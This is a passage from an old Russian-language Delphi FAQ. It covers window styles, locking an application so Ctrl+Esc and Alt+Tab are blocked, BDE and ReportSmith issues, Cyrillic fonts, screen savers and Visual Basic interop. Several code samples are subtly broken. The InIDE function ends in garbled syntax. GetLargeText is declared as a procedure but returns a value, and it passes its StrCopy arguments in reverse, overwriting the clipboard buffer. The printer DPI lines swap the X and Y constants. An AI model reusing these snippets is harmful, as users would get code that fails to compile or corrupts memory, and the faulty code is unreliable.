      bsSingle, bsSizeable: 

        SetWindowLong(Handle, GWL_STYLE, Save and (not WS_CAPTION) or WS_BORDER); 

     bsDialog: 

        SetWindowLong(Handle, GWL_STYLE, Save and (not WS_CAPTION) or DS_MODALFRAME or WS_DLGFRAME); 

    end; 

    Height := Height-GetSystemMetrics(SM_CYCAPTION); 

    Refresh; 

  end; 

end; 

procedure TForm1.ShowTitlebar; 

var 

  Save: Longint; 

begin 

  if BorderStyle = bsNone then Exit; 

  Save := GetWindowLong(Handle, GWL_STYLE); 

  if (Save and WS_CAPTION) <> WS_CAPTION then 

  begin 

    case BorderStyle of 

      bsSingle, bsSizeable: 

        SetWindowLong(Handle, GWL_STYLE, Save or WS_CAPTION or WS_BORDER); 

      bsDialog: 

        SetWindowLong(Handle, GWL_STYLE, Save or WS_CAPTION or DS_MODALFRAME or WS_DLGFRAME); 

    end; 

    Height := Height + GetSystemMetrics(SM_CYCAPTION); 

   Refresh; 

  end; 

end; 

24. Как сделать приложение модальным?

Мне нужно сделать приложение модальным, для того чтобы обезопасить систему и в то же время позволить работать с программой.

Ok, пара предложений на эту тему:

1. Создайте форму, занимающую весь экран (maximized) без системных кнопок (Maximize, Minimize, System)

2. В обработчике FormDeactivate для формы вызовите метод SetFocus — это предотвратит Ctrl+Esc:

Form1.SetFocus;

3. В обработчике события FormActivate, нужно присвоить метод Deactivate для приложения:

Application.OnDeactivate := FormDeactivate;

4. Создайте всплывающее меню TPopupMenu с единственным пунктом. В свойствах данного компонента нужно установить Visible=False. Создайте процедуру для этого пункта меню, и в теле поставьте две фигурные скобки {} (для того, чтобы Delphi не удалил эту процедуру)

5. Присвойте созданное Popup-меню форме (св-во PopupMenu)

6. Задайте горячую клавишу (shortcut) для Popup-меню в методе FormActivate как показано ниже:

NullItem1.ShortCut := ShortCut(VK_Tab, [ssAlt]);

(NullItem1 нужно заменить на название созданного вами объекта — пункта меню)

Шаги 4-6 предотвращают переход на приложение по Alt-Tab.

25. Как изменить шрифт у Application.Title (заголовка приложения)?

Никак. Это ограничение Windows — вы не можете изменить шрифт ни у одного заголовка ни у приложения, ни у окна. Для окна можно предложить следующее — создать свое окно без заголовка (Caption) и рамки, которое будет само выводить нужную надпись нужным шрифтом и одновременно будет способно изменять свои размеры.

26. Каким образом (желательно не специфичным для Delphi) узнать, открыто меню или нет?

Вот так:

type 

  TForm1 = class(TForm) 

    MainMenu1: TMainMenu; 

    Item01: TMenuItem; 

    Item11: TMenuItem; 

    Item21: TMenuItem; 

  private 

    { Private declarations } 

  public 

    procedure WMMenuSelect(var M: TWMMenuSelect); message WM_MENUSELECT; 

  end; 

implementation 

{$R *.RES} 

procedure TForm1.WMMenuSelect(var M: TWMMenuSelect); 

begin 

  inherited; 

{ Этот Beep сигнализирует вообще об открытии меню } 

  MessageBeep(MB_ICONASTERISK); 

{ А зтот Beep - только о выборе в меню нового Item } 

  if M.Menu = MainMenu1.Handle then MessageBeep(MB_ICONASTERISK); 

end; 

end.

Разное

1. Передача переменной в отчет ReportSmith.

Следующий код показывает, как передать переменную в отчет.

В примере строковой переменной отчета 'City' присваивается значение 'Bombey'. Подразумевается, что есть готовый отчет с данной переменной. Поместите компонент TReport на форму и установите требуемые свойства для вызова печати отчета. Напишите обработчик OnClick для кнопки Button1 на форме (кнопка — для простоты):

procedure TForm1.Button1Click(Sender: TObject); 

begin 

  Report1.InitialValues.Clear; 

  Report1.InitialValues.Add('@City=<Bombey>'); 

  Report1.Run; 

end;

2. Как получить русские буквы в DBD?

Имя шрифта для отображения русских букв берется из файла PDOXWIN.INI секция [Properties] строка SystemFont. Если очень хочется, то можно исправить имя 'PDOXWIN.INI' на 'DBD.INI' в файле DBSRV.DLL (он лежит там же где и DBD.EXE) по смещению $E9D8 (не забудьте после 'DBD.INI' поставить шестнадцатеричный ноль), и в секции [Properties] файла DBD.INI добавить строку типа

SystemFont = Courier New Cyr

По умолчанию имя фонта для отображения русских букв — Arial.

Действительно, если у Вас Pan Euro или русская версия Windows95, то DBD не будет показывать шрифты Cyr в Preferences/General/Default system font.

Решить эту проблему можно двумя способами:

1. записать в каталог WINDOWS/FONTS шрифты Arial Cyr от русских Windows и сделать ShutDown. После загрузки Arial Cyr будет доступен для выбора.

2. поменять шрифт в Registry вручную например на MS Sans Serif - HKEY_CURRENT_USER/SOFTWARE/Borland/DBD/7.0/Preferences/Properties ключ SystemFont.

3. Как печатать отчеты из приложения Delphi без использования ReportSmith?

1. Лучше всего использовать специализированные генераторы отчетов в виде компонентов, например QuickReport или Ace Reporter.

2. Можно использовать печать формы, например: Form1.Print.

3. Можно использовать свойство Canvas объекта Printer.

4. Как узнать количество точек на дюйм для принтера?

VertPixelsPerInch := GetDeviceCaps(Printer.Handle, LogPixelsX);

HorzPixelsPerInch := GetDeviceCaps(Printer.Handle, LogPixelsY);

5. Как определить, приложение запущено из под Delphi IDE или как отдельный файл?

Для этого следует проверить существование определенных окон:

Delphi 1.0

function DelphiLoaded: Boolean; 

  function WindowExists(ClassName, WindowName: string): Boolean; 

  var 

    PClassName, PWindowName: PChar; 

    AClassName, AWindowName: array [0..63] of Char; 

  begin 

    if ClassName = '' then PClassName := nil 

    else PClassName := StrPCopy(@AClassName[0], ClassName); 

    if WindowName = '' then PWindowName := nil 

    else PWindowName := StrPCopy(@AWindowName[0], WindowName); 

    Result :=  FindWindow(PClassName, PWindowName) <> 0; 

  end; 

begin 

  Result := WindowExists('TPropertyInspector', 'Object Inspector') 

        and WindowExists('TMenuBuilder', 'Menu Designer') 

        and WindowExists('TApplication', 'Delphi') 

        and WindowExists('TAlignPalette', 'Align') 

        and WindowExists('TAppBuilder', ''); 

end; 

Delphi 2.0

function DelphiLoaded: Boolean; 

  function WindowExists(ClassName, WindowName: string): Boolean; 

  begin 

    Result :=  FindWindow(PChar(ClassName), PChar(WindowName)) <> 0; 

  end; 

begin 

  Result := WindowExists('TPropertyInspector', 'Object Inspector') 

        and WindowExists('TMenuBuilder', 'Menu Designer') 

        and WindowExists('TApplication', 'Delphi') 

        and WindowExists('TAlignPalette', 'Align') 

        and WindowExists('TAppBuilder', ''); 

end; 

Другой вариант для Delphi 1.0, работает только в EXE файлах (не в DLL).

function InIDE: Boolean; 

begin 

  Result := Bool(PrefixSeg) and Bool(PWordArray(MemL[DSeg:36])^[8])); 

;end   

6. Что нужно предусмотреть при разработке приложения, которое будет работать при различном разрешении дисплея?

На ранней стадии создания приложения решите для себя хотите ли вы позволить форме масштабироваться. Преимущество немасштабируемой формы в том, что ничего не меняется во время выполнения. В этом же заключается и недостаток (ваша форма может бать слишком маленькой или слишком большой в некоторых случаях).

1. Если вы не собираетесь делать форму масштабируемой, установите свойство Scaled=False и дальше не читайте.

2. В противном случае Scaled=True.

 1. Установите AutoScroll=False. AutoScroll = True означает 'не менять размер окна формы при выполнении' что не очень хорошо выглядит, когда содержимое формы размер меняет.

 2. Установите шрифты в форме на самые распространенные TrueType шрифты, например Arial, Times New Roman, Courier. Если вдруг выбранного шрифта не окажется на пользовательском компьютере, то Windows выберет альтернативный шрифт из того же семейства. Этот шрифт может не совпадать по размерус исходным, что вызовет проблемы.

 3. Установите св-во Position в любое значение, отличное от poDesigned. poDesigned оставляет форму там, где она была во время дизайна, и, например, при разрешении 1280×1024 форма может оказаться в левом верхнем углу и совершенно за экраном при 640×480.

 4. Оставляйте по крайней мере 4 точки между компонентами, чтобы при смене положения границы на одну позицию компоненты не "наезжали" друг на друга.

 5. Для однострочных меток TLabel с выравниванием alLeft или alRight установите AutoSize=True. Иначе AutoSize=False. Убедитесь, что достаточно пустого места у TLabel для изменения ширины фонта — 25% пустого места многовато, зато безопасно. При AutoSize=False Убедитесь, что ширина метки правильная, при AutoSize=True убедитесь, что есть свободное место для роста метки.

 7. Для многострочных меток (word-wrapped labels), оставьте хотя бы одну пустую строку снизу.

 8. Будьте осторожны при открытии проекта в среде Delphi при разных разрешениях. Свойство PixelsPerInch меняется при открытии формы. Лучше тестировать приложения при разных разрешениях, запуская готовый скомпилированный проект, а редактировать его при одном разрешении. Иначе это вызовет проблемы с размерами. Не изменяйте свойство PixelsPerInch самостоятельно!

 9. В общем, нет необходимости тестировать приложение для каждого разрешения в отдельности, но стоит проверить его на 640x480 с маленькими и большими шрифтами и на более высоком разрешении перед продажей.

 10. Уделите пристальное внимание принципиально однострочным компонентам типа TDBLookupCombo. Многострочные компоненты всегда показывают только целые строки, а TEdit покажет урезанную снизу строку. Каждый компонент лучше сделать на несколько точек больше. Даже при выполнении перечисленных инструкций, у вас могут возникнуть проблемы при переходе, например от Large fonts к Small fonts в Windows 95 при одном и том же разрешении. Бороться с этим помогают специально для этого разработанные компоненты. Если же вы решите самостоятельно изменять размеры компонентов, лежащих на форме, то вам могут помочь методы TCanvas.TextWidth и TCanvas.TextHeight.

7. Конвертация ICO в BMP.

Я создают toolbar, у меня есть иконки, но нет картинок в виде bitmap. Помогите!

Для преобразования файлов из одного формата в другой лучше всего иметь что-нибудь вроде HiJaak, который может преобразовывать форматы напрямую. Однако, будем считать, что у вас нет ничего, кроме Windows и Delphi. Следующая процедура может использоваться чтобы преобразовывать иконку в формат Windows Bitmap:

1. Покажите на экране иконку. Не имеет значения, как вы это сделаете.

2. Нажмите Alt-PrintScreen, чтобы скопировать текущее окно в буфер Clipboard.

3. Загрузите Paintbrush и сделайте Edit/Paste.

4. Выберите нужный кусок изображения и сделайте Edit/Copy. Перейдите к пункту Options/Image Attributes и установите размер области 32x32 точки.

5. Снова сделайте Edit/Paste.

6. Сохраните результат как BMP файл.

Лучше всего для редактирования и создания ресурсов (икон, картинок и т.п.) подходит Resource Workshop. Он включен в состав пакетов Borland Pascal 7.0 или Borland C++ 4.5, а также интегрирован в Borland C++ 5.0.

В Delphi 1.0 есть специальный файл (X:\DELPHI\BIN\WORKOPT.DOS) который необходимо поместить в каталог, где находится Workshop — в этом случае последний будет "понимать" ресурсы, создаваемые Delphi 1.0 (например *.DCR).

8. Когда используется свойство Glyph, как узнать, какой цвет прозрачный?

Delphi всегда принимает, что цвет пикселя в левом нижнем углу картинки является фоновым цветом и должен отображаться на экране как прозрачный. Это нигде не документировано, но если у вас есть исходники VCL, вы можете посмотреть код в BUTTONS.PAS .

9. Как отобразить bitmap в 256 цветах?

Как подгрузить 256 цветный bitmap из ресурса и отобразить его в нормальной палитре?

Обычно это делается следующим образом. Код Вадима Пузанова (Красноярск).

Image1.Bitmap.Handle := LoadBitmap(hInstance, 'BMP_NAME');

LoadBitmap загружает только картинку, без палитры. Если палитра у картинки отличается от системной, то ее надо устанавливать "вручную". Могут возникнуть проблемы, если на одной форме расположены две картинки с разными палитрами.

procedure XLoadBitmap(Instance: THandle; BitmapName: PChar; var HB: HBitmap; var HP: Palette); 

var 

  DC: HDC; 

  BI: PBitMapInfo; 

  Pal: PLogPalette; 

  I: Integer; 

  ResIdHandle: THandle; 

  ResDataHandle: THandle; 

  Bitmap: HBitmap; 

  C: HWnd; 

  OldPalette, Palette: HPalette; 

begin 

  Bitmap := 0; 

  Palette := 0; 

  HB := 0; 

  HP := 0; 

{ Получить ресурс из модуля } 

  ResIDHandle := FindResource(Instance, BitmapName, RT_BITMAP); 

  if ResIDHandle <> 0 then 

  begin 

    ResDataHandle := LoadResource(Instance, ResIDHandle); 

    if ResDataHandle <> 0 then  

    begin 

      BI := LockResource(ResDataHandle); 

      if BI <> nil then 

      begin 

      { 256-цветный битмап? } 

        if BI^.bmiHeader.biBitCount = 8 then 

        begin 

        { Создать палитру } 

          GetMem(Pal, SizeOf(TLogPalette) + 256*SizeOf(TPaletteEntry)); 

          for I := 0 to 255 do with Pal^.palPalEntry[I] do 

          begin 

            peRed  := BI^.bmiColors[I].rgbRed; 

            peGreen:= BI^.bmiColors[I].rgbGreen; 

            peBlue := BI^.bmiColors[I].rgbBlue; 

            peFlags:= 0; 

          end; 

          Pal^.palNumEntries := 256; 

          Pal^.palVersion := $300; 

          Palette := CreatePalette(Pal^); 

          FreeMem(Pal, SizeOf(TLogPalette) + 256 * SizeOf(TPaletteEntry)); 

        { Привести цвета палитры в системные } 

          DC := CreateDC('Display', nil, nil, nil); 

          OldPalette := SelectPalette(DC, Palette, False); 

          UnrealizeObject(Palette); 

          RealizePalette(DC); 

        { Создать битмап } 

          BitMap:= CreateDIBitmap(DC, BI^.bmiHeader, CBM_INIT, 

            @PByteArray(BI)^[SizeOf(TBitMapInfo) + SizeOf(TRGBQuad) * 256 - 4], BI^, DIB_RGB_COLORS); 

        { Освободить ресурсы } 

          UnlockResource(ResDataHandle); 

          FreeResource(ResDataHandle); 

          SelectPalette(DC, OldPalette, False); 

          DeleteDC(DC); 

        end else  

        begin 

        { Не 256-цветный битмап } 

          UnlockResource(ResDataHandle); 

          FreeResource(ResDataHandle); 

          BitMap := LoadBitmap(Instance, BitmapName); 

        end; 

        HB := Bitmap; 

        HP := Palette; 

      end; 

    end; 

  end; 

end; 

procedure TForm1.FormCreate(Sender: TObject); 

var 

  HB: HBitmap; 

  HP: HPalette; 

begin 

  XLoadBitmap(hInstance, 'PHOTO', HB, HP); 

  Image1.Picture.Bitmap.Handle  := HB; 

  Image1.Picture.Bitmap.Palette := HP; 

end; 

10. Если я хочу рассылать EXE файл, созданный в Delphi, какие еще файлы нужно посылать с ним?

Hикакие. Все компилируется в .EXE файл. Конечно, если вы разработали другие файлы (HLP, данные и т.д. ), или если вы используете VBX/OCX файлы, тогда вы должны распространять и их заодно. Если вы используете файлы VBX, то в поставку нужно также включать BIVBX11.DLL.

Если приложение использует функции BDE, вы также должны включать Borland DataBase Engine.

Полезные хитрости

1. Может ли редактор текстов в Delphi вырезать и вставлять прямоугольные фрагменты текста?

Конечно, может: Нажмите кроме Shift еще и Alt и режьте на здоровье. Alt можно сразу отпустить. Чтобы вернуться в старый режим, нужно выделить что-либо мышкой.

2. Редактирование файлов SQL в Delphi IDE.

Если вы в Delphi 2.0 IDE редактируете файл с расширением SQL, то, хотя это нигде не документировано, происходит автоматический Syntax Highlighting. Наибольший недостаток — не отслеживается конец комментария '*/'.

В Delphi 3.0 комментарии отрабатываются нормально.

3. Встроенный отладчик/дизассемблер.

Если вы создадите в ключе

HKEY_CURRENT_USER\Software\Borland\Delphi\2.0\Debugging

строковое значение EnableCPU = "1", то после перезапуска среды у вас появится пункт меню View|CPU, которые вызывает появление простейшего отладчика/дизассемблера.

Для Delphi 3.0 справедливо тоже самое (…\Delphi\3.0\Debugging, естественно), причем отладчик там по возможностям сравним с Turbo Debugger.

Вопросы по Delphi 1.0

Вопросы общего характера

1. Какие существуют варианты поставки Delphi 1.0?

Версия Delphi 1.0 имеет два варианта: Delphi Desktop и Delphi Client/Server.

Версия Delphi 1.0 Desktop включает:

• Среду разработки Delphi IDE

• Механизм Borland Database Engine доступа к локальным данным Paradox и dBase, а также через ODBC

• 16-разрядный Local Interbase

• Печатную документацию

Версия Delphi 1.0 Client/Server включает в себя все, что имеется в Delphi Desktop плюс:

• SQL-Links 2.5, которые включают родные драйверы для Oracle, Sybase (MS SQL), Informix, и InterBase, и включают полные неограниченные права распространения к этим драйверам (что стоит $995 если это куплено отдельно);

• Local InterBase Deployment Kit , $495[2];

• ReportSmith/SQL, $300[3];

• Средства поддержки групповой разработки — не доступно отдельно;

• Visual Query Builder, который, как говорят, немного лучше, чем MSQuery, который входит в Microsoft Excel , Access , и т.д.). VQB также недоступен отдельно;

• Исходные тексты библиотеки визуальных компонент, которые доступны отдельно за $100.

• Дополнительно 2 тома документации.

На данный момент версия Delphi 1.0 фирмой Borland отдельно не поставляется и имеется только в составе старших версий продукта.

2. Какие форматы скомпилированных модулей можно получить в Delphi 1.0?

Delphi может создавать EXE- и DLL-файлы  для Windows 3.1. Естественно, Вы может также создавать VBX, но для этого нужно знать соглашения по написанию DLL в формате VBX. Имеется информация о написании VBX для Borland Pascal for Windows, которая с небольшими изменениями подходит и для Delphi.

Delphi не создает EXE-файлы для DOS.

3. Есть ли проблемы в Delphi с русским языком?

Что касается визуальных компонент, то все они, включая меню, допускают надписи (Caption) и ввод киррилицей; "горячие клавиши" тоже могут быть русские, например комбинация Alt-Ф для пункта меню &Файл (конечно, должен  быть включен драйвер русской клавиатуры). Для работы с таблицами нужно в утилите конфигурации BDE установить:

1. В разделе драйверы для всех типов баз данных установить соответствующий драйвер языка (например Pdox ANSI Cyrillic).

2. Если таблица (в частности, в формате Paradox) уже была создана с использованием другого драйвера языка, то ее можно перенастроить в DataBase Desktop на нужный драйвер.

3. Для того, чтобы Database Desktop нормально 'видел' русские буквы, его настройки тоже необходимо немного подкорректировать.

Русские буквы в среде:

Поскольку используются разные версии Windows (Eng, Rus, Win-OS2, Win95, WinNT), способы могут быть как разными, так и общими (Windows есть Windows).

Сначала опишем действия, необходимые для русификации Windows:

1. Если вы собираетесь работать в OS/2, то желательно иметь английскую версию Windows 3.1 или OS/2 с Win-OS2 (в последнем случае вы не сможете запускать Windows без OS/2). Windows for WorkGroups здесь не подойдет, т.к. их сетевые функции под OS/2 работать не будут — для этого есть другие средства.

2. Hесмотря на то, что вы собираетесь работать с англоязычной версией Windows найдите русские Windows и "вытащите" оттуда все шрифты *.FON, *.FOT, *.TTF.

3. Каким-нибудь редактором шрифтов (напр FontoGrapher) скопируйте русские буквы с адреса 100 на адрес С0 — в этом случае один шрифт можно использовать и в английских и в русских Windows.

4. Установите какой-либо русификатор — неплохо ведут себя CyrWin и ParaWin, причем для Win-OS2 предпочтительнее ParaWin. Устанавливать можно только русификатор без шрифтов, т.к. шрифты пойдут от русских Windows. Если вы не выполнили пункт 3, то TTF от русских Windows вам не помогут, и нужно будет ставить шрифты из комплекта русификатора.

5. Замените все шрифты *.FON на шрифты из русских Windows.

6. Подключите русские шрифты (Arial Cyr, Courier New Cyr, Times New Cyr).

7. Добавьте в WIN.INI в секцию [FontSubstitutes] следующую строку: Arial=Arial Cyr или вместо Arial Cyr укажите русский шрифт сходный по начертанию (напр. для CyrWin это NTHelvetica/Cyrillic).

Также на всякий случай можно добавить следующие подстановки:

Helvetica=Arial Cyr (или NTHelvetica/Cyrillic)

Одновременно закомментируйте строки, где упоминается английский шрифт Arial.

В русских Windows можно совершенно безболезненно удалить (при помощи Control Panel/Fonts) шрифты, имеющие в названии окончание CE (напр. Arial CE) - это сербо-хорватские шрифты, которые вам вряд-ли когда понадобятся (русских букв там нет).

Далее, возможные варианты работы с русскими буквами в редакторе Delphi.

Нельзя в Windows выставлять TrueType fonts only — редактор использует только FixedFonts, в результате Delphi просто не будет работать.

1. Комментарии и строки могут быть введены только в кодировке 1251 — причина, естественно в том, что русификатор позволит вводить русские буквы только в этой кодировке. Тексты, написанные в DOS (кодировка 866), будут отображаться как "мусор" на экране — редактор HЕ преобразует символы 866→1251. Однако если для редактора установить шрифт Terminal — тексты в 866 будут отображаться нормально, а ввести символы не удастся (опять же по причине ввода символов только в кодировке 1251). Уже готовый текст в 866 кодировке лучше преобразовать в 1251 с помощью одной из программ конвертации.

2. Некоторые программные продукты при установке меняют фиксированные шрифты или даже удаляют их. Будьте внимательны при и после установки других программных продуктов, особенно редакторов текстов (WinWord, AmiPro…). Держите под рукой архив с русскими шрифтами *.FON, чтобы была возможность восстановить эти шрифты.

3. Поэкспериментируйте со шрифтами редактора — разные шрифты имеют разное начертание, и разную скорость перерисовки. Выберите нужное для себя — либо скорость перерисовки, либо удобное начертание. Для локального InterBase нормальной русской кодировкой является Win1251 — имена доступных кодировок можно найти открыв любую DB InterBase (в т.ч. и локальную) и заглянув в системную таблицу RDB$CHARACTER_SETS.

4. Какую модель данных использует Delphi?

Delphi использует смешанную (mixed) модель памяти, но она очень похожа на модель large в C.С++:

• Методы дальние (far)

• Процедуры, описанные в интерфейсной части, дальние

• Процедуры, используемые только в implementation по умолчанию ближние

• Данные в Heap и все указатели вообще (включая экземпляры объектов) дальние

• Глобальные переменные ближние (в сегменте DS)

• Параметры процедур и локальные переменные ближние (в стеке)

• Процедуры, объявленные far или export дальние

• VMT дальние для новой модели классов и ближние для старой

Эта схема используется в Borland Pascal долгое время.

5. Можно ли использовать в приложении ресурсы, созданные в BPW 7.0?

Все ресурсы, созданные в других приложениях, можно подключить и использовать  в Delphi с помощью директивы компилятора {$R ...} и процедур Windows API. Кроме того, меню из файла ресурсов и графические файлы *.BMP, *.ICO и *.WMF можно импортировать в приложение Delphi на этапе разработки. В настоящее время компанией Borland поставляется программный продукт RAD Pack for Delphi, где в состав поставки входит эксперт, позволяющий преобразовывать ресурсы из BP7.0 в формы Delphi.

6. Возможно ли написать Screen Saver для Windows в Delphi?

Для создания программы, работающей как Screen Saver:

1. В проектном файле (*.dpr) напишите {$D SCRNSAVE <SaverName>} после uses; данная директива вставляет указанный текст (SCRNSAVE <SaverName>) в раздел описания модуля — в данном случае программы. Это главное, что необходимо для того, чтобы Windows распознал программу как Screen Saver.

2. Hа главной форме выключите Border (BorderStyle=bsNone) и иконки. Установите свойства Left и Top =0, WindowState=wsMaximize.

3. В обработчике события OnCreate, установите Application.OnMessage на процедуру деактивации Screen Saver. Установите Application.OnIdle на любую процедуру для рисования на экране.

4. В обработчике OnCreate должна проверяться командная строка на наличие ключей /c и /s. Эти параметры определяют, нужно ли запускать сам Screen Saver или его конфигурацию (/c - конфигурация).

5. Скомпилируйте программу и переименуйте из .exe в .scr ;  поместите файл в каталог Windows — Screen Saver должен появиться на панели управления (Control Panel).

7. Как Delphi обрабатывает функции обратного вызова Windows (сallback)?

Точно так же как C: вы можете получить указатель (far pointer) на вашу callback процедуру (не забыть при этом обьявить ее с директивой компилятора  {$F+}, либо спецификатором far) и передать этот указатель в Windows. Это все.

Delphi и Visual Basic

1. Есть ли в Delphi эквивалент массива элементов управления из Visual Basic?

Hет. Компоненты Delphi не имеют свойства Index, подобное VB. Однако, имеются три основные причины, почему вы хотите использовать их в VB, и для каждой из них есть решение в Delphi.

Причина 1. Вы хотите использовать один обработчик события для разных компонент на форме.

Это просто. Все, что вы должны сделать — это выбрать тот же самый обработчик для каждой визуальной компоненты. Это лучше, чем в случае с массивом компонент, потому что вы можете одну и ту же процедуру-обработчик события присвоить различным типам компонент; например, кнопка на форме и пункт меню могут вызывать ту же самую функцию для обработки события OnClick.

Причина 2. Вы хотите динамически создавать и уничтожать визуальные компоненты во время выполнения программы.

Это также довольно просто в Delphi. Предположим, что на форме есть кнопка, и, каждый раз когда она нажимается, вы хотите создавать другую кнопку. Следующий пример показывается, как это делать:

procedure TForm1.Button1Click(Sender: TObject);

var

  NewButton: TButton;

begin

  NewButton := TButton.Create(Self);

  NewButton.Parent := Self;

end;

Причина 3. Вам действительно требуется доступ к компонентам по номеру.

Предположим, что вы решили написать игру вроде Реверси в Delphi. Вам нужно разместить 100 объектов TShape на форме, в виде квадрата 10×10. Конечно, размещать каждый элемент вручную на экране — задача трудоемкая и неинтересная, при этом, в декларации формы появляется 100 строк кода, которые, в общем-то, не нужны. Вместо этого можно завести массив вроде

Board: array [1..10, 1..10] of TShape; Далее в программе нужно создать каждый из этих объекты, вызвав TShape.Create(FormXX); указать вручную начальные установки для них. Кроме того, в свойстве Parent каждого объекта из массива нужно указать ту панель (TPanel) или форму, на которой они располагаются. Это нужно для правильной перерисовки объектов.

Если же вы не используете такие большие массивы, т.е., например хотите одинаково реагировать на нажатие 3-5 кнопок с незначительным различием для каждой из них, то можно использовать свойство Tag.

2. Как использовать DLL, написанные в Delphi, например в Visual Basic?

Допустим, вы написали на Delphi DLL и в нем объявили функцию

function DataFileType(lpStr: PChar): Integer; export;

begin

 StrPCopy(lpStr, oDataMap.VendorName);

 Result := StrLen(lpStr);

end;

в Visual Basic Вы должны подключить ее как:

Declare Function DataFileType Lib "File.dll" (ByVal lpStr As String) As Integer

а в программе на VB использовать следующим образом:

nSize = DataFileType(lpVar)

sVendorName = Mid$(lpVar, 1, nSize)

3. Конвертация TBasicString (VBX) в string.

Я использую VBX и испытываю проблемы с конвертацией TBasicString в string. Как это сделать?

Существует две функции —

• BStrPCopy — принимает Basic string и конвертирует в string

• SetBStr — принимает string и возвращает Basic string Действительно, ссылок на эти функции нет в документации, но имена этих функций можно "обнаружить" в VBXCTRL.DCU.

Базы данных

1. Ошибка инициализации BDE ($2C09).

Когда я пытаюсь запустить приложение из Delphi, то получаю ошибку EDatabaseError и сообщение 'An error occurred while attempting to initialize the Borland Database Engine (Error $2C09)'

Добавьте SHARE.EXE в AUTOEXEC.BAT или добавьте DEVICE=VSHARE.386 в раздел [386Enh] файла SYSTEM.INI и перезагрузитесь.

2. Ошибка при загрузке языкового драйвера.

У меня есть Quattro Pro 6.0 и IDAPI в сети. После установки Delphi и нового IDAPI поверх сетевого IDAPI при запуске Quattro Pro с другой машины я получаю ошибку 'Could not load Language Driver'.

Добавьте раздел [Borland Language Drivers] в WIN.INI файл для указания каталога языкового драйвера. Пример:

[Borland Language Drivers]

LDPATH=C:\IDAPI\LANGDRV

3. Что значит ошибка IDAPI $2C08?

'Cannot load IDAPI01.DLL'. Убедитесь, что в файле WIN.INI правильно прописаны пути:

[IDAPI]

DLLPATH=C:\IDAPI

CONFIGFILE01=C:\IDAPI\IDAPI.CFG

4. Отличается ли локальный InterBase, встроенный в Delphi 1.0, от InterBase для других платформ, в частности, от InterBase для Windows NT?

16-Разрядный Local InterBase не поддерживает:

• функции, определяемые пользователем.

• BLOB фильтры

• сигнализатор событий (event alerters)

• запись через журнал (Write Ahead Log (WAL)

• тип данных массив (Array Datatype)

• 'отключение' и 'включение' базы данных (database shutdown or restart)

• ведение теневой базы данных (database shadowing)

Все остальные функции поддерживаются, но структура хранения базы на диске не совпадает.

Можно ли поставить локальный InterBase на файл-сервере и, таким образом, получить доступ к нему из многих приложений?

Работать не будет. И не пытайтесь. Для этой цели вам нужен нормальный многопользовательский InterBase.

5. Что насчет VBX-компонентов для работы с данными?

Delphi поддерживает только VBX 1.0. Это значит что VBX для работы с данными 'не работает' с Delphi. В общем случае, все, что работает с Microsoft Visual C++, должно работать в Delphi. Кроме того, некоторые VBX достаточно хорошо написаны, так что их можно использовать в Delphi и без обращения к возможностям работы с данными.

Object Pascal и Windows API

1. Можно ли использовать OWL в Delphi?

Можно, если уже существуют свои разработки с использованием OWL. Однако следует обратить внимание, не используются ли слова class, try, except и ряда других — в Delphi они являются зарезервированными. Если же опыта использования OWL не было, то вряд ли имеет смысл использование этой библиотеки — в Delphi существуют свои, более удобные средства для работы с Windows.

Компиляция приложений, написанных на BP7 с использованием OWL.

Компилятор Delphi способен компилировать приложения, написанные на OWL Borland Pascal 7.0. Для компиляции таких приложений в среде Delphi необходимо сделать следующее:

1. Откройте главный файл приложения пунктом меню File|Open Project

2. Добавьте в список используемых модулей uses модуль Messages в тех файлах, где использовался модуль WinTypes. Модуль Messages должен быть указан ранее модуля OWindows, ODialogs или любого другого OWL-модуля.

3. При помощи пункта меню Options|Project Dialog добавьте путь x:\DELPHI\SOURCE\RTL70 к пути поиска модулей данного проекта. Этот каталог должен содержать файлы OWL, измененные для компиляции в Delphi.

Если Вы забыли указать использование модуля Messages, то Вы при компиляции получите сообщение 'Unknown identifier'. Указание Messages после модуля OWindows вызовет сообщение 'Header does not match previous definition'.

Идентификатор Result теперь используется особым образом внутри тела функций, поэтому их внимательно посмотрите, где этот идентификатор может встречаться. Недопустимо использование перекрывающихся диапазонов в операторе case.

Изменилась реализация StrDispose. Если Вы распределяете память для строки при помощи GetMem, то освобождение этой области памяти при помощи StrDispose вызовет ошибку выполнения 'Runtime error 203'. Для распределения памяти для строк следует использовать функции StrAlloc или StrNew. Объекты OWL не ориентированы на обработку исключительных ситуаций, т.е. при возникновении таких ситуаций не происходит отката инициализации объектов. Мы не рекомендуем использование исключения в приложениях с OWL.

Компилятор теперь производит поиск модулей, ресурсов и OBJ файлов по пути, указываемому в каталогах OPTIONS|Project. Путь 'EXE and TPU directory' больше не поддерживается. EXE-файлы могут создаваться в 'Output directory', а файлы DCU всегда создаются в том каталоге, где находятся соответствующие файлы PAS. Новые модули WinTypes и Messages могут быть скомпилированы BP7. Для этого не требуется включения дополнительных директив $IFDEF (зато там есть $IFDEF WIN32;).

2. Как можно зааллокировать блоки памяти больше, чем 64 Кбайт?

Используйте GlobalAlloc и GlobalLock из модуля WinProcs.

3. GPF в ToolHelp.DLL в Win-OS/2 2.1.

Поставьте FixPack, или сделайте Upgrade на OS/2 Warp 3 FullPack.

4. Как получить из Clipboard текст большого размера?

Да, стандартный метод TClipboard.AsText ограничивает текст размером строки - 255 байт. Для получения текста длиной более 255 байт можно использовать, например следующую процедуру:

procedure GetLargeText: PChar

var

  Buffer: PChar;

  MyHandle: THandle;

  TextLength : Integer;

begin

  MyHandle := Clipboard.GetAsHandle(CF_TEXT);

  Buffer := GlobalLock(MyHandle);

  try

    Result := nil;

    if Buffer <> nil then

    begin

    { теперь у нас данные типа PChar -> мы можем работать

      с ними как с обычной Null-terminated строкой }

      TextLength := StrLen(Buffer);

      GetMem(Result, TextLength+1);

      StrCopy(Buffer, Result);

    end;

  finally

    GlobalUnlock(MyHandle);

  end;

end;

5. Проблемы Delphi с WinG.

Я слышал, что у Delphi проблемы с WinG, однако кто-то их решил?

Да, Майк Скотт (Mike Scott, 100140.2420@compuserve.com) даже написал коммерческий вариант VCL-компонентов, использующих WinG для Delphi:

WinG Sprite Kit.

Набор компонентов, осуществляющих доступ к WinG из Delphi. Включает компоненты TWinGCanvas для рисования TWinGDC и TWinGBitmap, TWinGSurface, которые можно поместить на форму и спрайтовый компонент, который можно помещать на них.

$99 EEP

Существует статья по использованию WinG в Borland Pascal — #5 Pascal Magazine. Обзор VCL WinG появится в новом Delphi Magazine. Отошлите письмо с вашим почтовым адресом на 70630.717@compuserve.com для получения бесплатной копии этих журналов (наверняка из России это не сработает.

